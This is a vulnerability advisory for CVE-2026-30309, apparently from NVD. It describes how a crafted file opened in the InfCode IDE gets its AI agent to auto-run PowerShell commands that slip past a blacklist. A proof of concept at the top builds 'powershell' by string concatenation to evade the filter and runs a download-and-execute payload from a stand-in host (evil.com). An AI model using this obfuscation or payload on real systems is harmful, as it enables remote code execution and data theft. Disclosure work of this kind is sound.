CVE-2026-30309

# PoC: PowerShell command obfuscation via string concatenation # This bypasses static blacklists that block the word 'powershell' $ MaliciousCommand = 'p' + 'owe' + 'rshell' $ Payload = "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shell.ps1')" # Execute the obfuscated command Invoke-Expression "$MaliciousCommand -NoProfile -ExecutionPolicy Bypass -Command $Payload"

{"cve": {"id": "CVE-2026-30309", "sourceIdentifier": "[email protected]", "published": "2026-03-31T15:16:12.863", "lastModified": "2026-04-14T15:49:43.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "InfCode's terminal auto-execution module contains a critical command filtering vulnerability that renders its blacklist security mechanism completely ineffective. The predefined blocklist fails to cover native high-risk commands in Windows PowerShell (such as powershell), and the matching algorithm lacks dynamic semantic parsing unable to recognize string concatenation, variable assignment, or double-quote interpolation in Shell syntax. Malicious commands can bypass interception through simple syntax obfuscation. An attacker can construct a file containing malicious instructions for remote code injection. When a user imports and views such a file in the IDE, the Agent executes dangerous PowerShell commands outside the blacklist without user confirmation, resulting in arbitrary command execution or sensitive data leakage."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tokfinity:infcode:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.3.1", "matchCriteriaId": "E3D12CD1-2D4A-40B2-B18B-A5CCB61891E4"}]}]}], "references": [{"url": "https://github.com/Secsys-FDU/LLM-Tool-Calling-CVEs/issues/11", "source": "[email protected]", "tags": ["Third Party Advisory", "Issue Tracking"]}, {"url": "https://www.tokfinity.com/infcode", "source": "[email protected]", "tags": ["Product"]}]}}